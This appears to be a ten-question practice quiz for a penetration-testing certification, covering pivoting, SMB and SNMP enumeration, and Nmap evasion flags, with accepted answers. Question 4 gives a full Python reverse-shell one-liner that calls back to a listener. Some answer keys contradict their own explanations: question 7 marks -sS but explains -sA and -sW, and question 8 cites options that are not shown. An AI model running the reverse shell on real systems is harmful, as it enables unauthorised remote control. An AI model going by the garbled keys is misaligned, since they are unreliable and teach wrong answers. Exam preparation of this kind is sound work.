CPENT Network And Perimeter Exploitation — 10 Questions

Question 1

During an internal assessment, a tester wants to extract cleartext credentials from network traffic passing through a switched network segment where they have achieved ARP spoofing positioning. Which Wireshark display filter isolates SMB authentication handshakes to locate cleartext credential exchanges?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

smb || smb2. SMB and SMB2 authentication handshakes carry NTLMSSP challenge/response messages, and in misconfigured or legacy environments the NTLMv1 or even cleartext credentials can be observed. The Wireshark display filter 'smb || smb2' matches both the legacy SMB1 and modern SMB2/3 protocols, isolating those authentication exchanges from other traffic. Once filtered, the tester can follow the TCP stream or inspect the Session Setup Request/Response to extract NTLM hashes or, in rare downgrade cases, cleartext credentials.

Answer

kerberos

Answer

ldap

Answer

http.request or ftp.request

Question 2

During an internal network assessment, a tester discovers that direct routing to a segmented VLAN is blocked, but an accessible host on that VLAN is running an SSH server. Which Metasploit auxiliary module can be used to set up a routing table so subsequent exploit modules can reach the isolated subnet through the compromised SSH host?

Accepted Answer

post/multi/manage/autoroute. post/multi/manage/autoroute is the Metasploit post-exploitation module that adds routes to the framework's routing table, allowing subsequent modules to pivot through a compromised session (including SSH) into otherwise unreachable subnets. After running it against the SSH session, the tester can target hosts on the segmented VLAN directly from Metasploit.

Answer

auxiliary/server/socks4a

Answer

auxiliary/scanner/portscan/tcp

Answer

exploit/unix/ssh/libssh_auth_bypass

Question 3

An external penetration tester is tasked with enumerating valid usernames on an enterprise Microsoft Active Directory environment through the SMB protocol without triggering account lockout policies. Which tool is standard for this task?

Accepted Answer

Enum4linux. enum4linux or rpcclient can enumerate users. From an Nmap perspective, script-based enumeration using smb-enum-users is common, but specialized tools like enum4linux query RID cycling.

Answer

Aircrack-ng

Answer

John the Ripper

Answer

Hydra

Question 4

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

Accepted Answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

Answer

python -c 'import pty; pty.spawn("/bin/sh")'

Answer

python -m SimpleHTTPServer 80

Answer

python -c 'print("Hello World")'

Question 5

An attacker has gained access to a Linux machine and wants to scan the local subnet for live hosts using raw sockets via ping sweep, but does not have root privileges. Which Nmap flag allows unprivileged users to perform host discovery and port scanning without raw socket access?

Accepted Answer

--unprivileged. The '--unprivileged' flag tells Nmap to operate without raw socket access, allowing unprivileged users to perform host discovery and port scanning using TCP connect() scans. It is the correct option for non-root users who cannot create raw packets.

Answer

-sP

Answer

--privileged

Answer

-Pn

Question 6

A penetration tester is operating inside a segmented corporate network and needs to scan a target subnet using TCP SYN packets while randomizing the order of scanned hosts and ports to evade intrusion detection systems. Which Nmap option implements this randomization?

Accepted Answer

--randomize-hosts. The --randomize-hosts option tells Nmap to randomize the order in which it scans hosts, helping to evade threshold-based IDS/IPS alerts.

Answer

-T0

Answer

--spoof-mac

Answer

-D

Question 7

When performing a network penetration test against an organization with strict perimeter defenses, which TWO Nmap scanning techniques can be utilized to map out firewall rules and filter states? (Choose TWO)

Accepted Answer

-sS. TCP ACK scan (-sA) and TCP Window scan (-sW) are specifically designed to map firewall rulesets and determine whether ports are filtered or unfiltered by examining TCP window sizes and RST responses.

Answer

-sT

Answer

-sU

Question 8

When pivoting through a compromised Windows system during an internal engagement, you need to enumerate active TCP and UDP network connections, listening ports, and associated routing tables using native operating system binaries. Which THREE of the following commands or tools native to Windows can be used to gather this network enumeration data?

Accepted Answer

arp -a. Option D, netstat -ano, is correct because netstat is a native Windows binary that displays active TCP and UDP connections, listening ports, and with the -o flag it also shows the owning process ID (PID) for each connection, making it ideal for pivoting and mapping network activity. Option E, route print, is correct because it is a native Windows command that dumps the IPv4 and IPv6 routing tables, revealing network routes, gateways, and interfaces that help identify reachable subnets during pivoting. Option A, arp -a, is correct because it is a native Windows utility that lists the current ARP cache, showing IP-to-MAC mappings of hosts recently communicated with on the local segment, which aids in host discovery and lateral movement. Option B, systeminfo, is not correct because it only reports OS configuration, patch level, and hardware details, not active connections, listening ports, or routing tables. Option C, ipconfig /release, is not correct because it merely releases the DHCP lease on an interface, which would disrupt network connectivity rather than enumerate connections, ports, or routes.

Answer

systeminfo

Answer

ipconfig /release

Question 9

During an assessment of network perimeter services, you discover a misconfigured Simple Network Management Protocol (SNMP) daemon running on a core router. Which THREE of the following tools or Metasploit auxiliary modules can be leveraged to enumerate sensitive information such as running processes, network interfaces, and routing tables via SNMP?

Accepted Answer

auxiliary/scanner/snmp/snmp_login. SNMP enumeration can be performed using dedicated command-line utilities like snmpwalk, as well as Metasploit auxiliary modules such as auxiliary/scanner/snmp/snmp_enum and auxiliary/scanner/snmp/snmp_login.

Answer

exploit/windows/smb/ms17_010_eternalblue

Answer

auxiliary/scanner/http/dir_scanner

Question 10

A penetration tester has compromised a Windows host inside a segmented network. The tester wants to reach a server on a different VLAN that is not directly routable from the compromised host but is accessible from a domain controller that the host can communicate with. Which technique best allows the tester to access the target server's SMB service through the domain controller?

Accepted Answer

Use netsh interface portproxy on the domain controller to forward traffic to the target server.. The netsh interface portproxy command allows a Windows host to act as a TCP proxy, forwarding connections from a local listening port to a specified remote destination. By configuring this on the domain controller, which has network access to the target VLAN, the tester can tunnel SMB traffic through it. This leverages native Windows functionality without requiring additional services or credentials beyond the ability to execute commands on the domain controller.

Answer

Use SSH local port forwarding from the compromised host to the domain controller.

Answer

Create a VPN tunnel from the compromised host to the target server using OpenVPN.

Answer

Configure a SOCKS proxy using Metasploit's autoroute and then use proxychains to reach the target.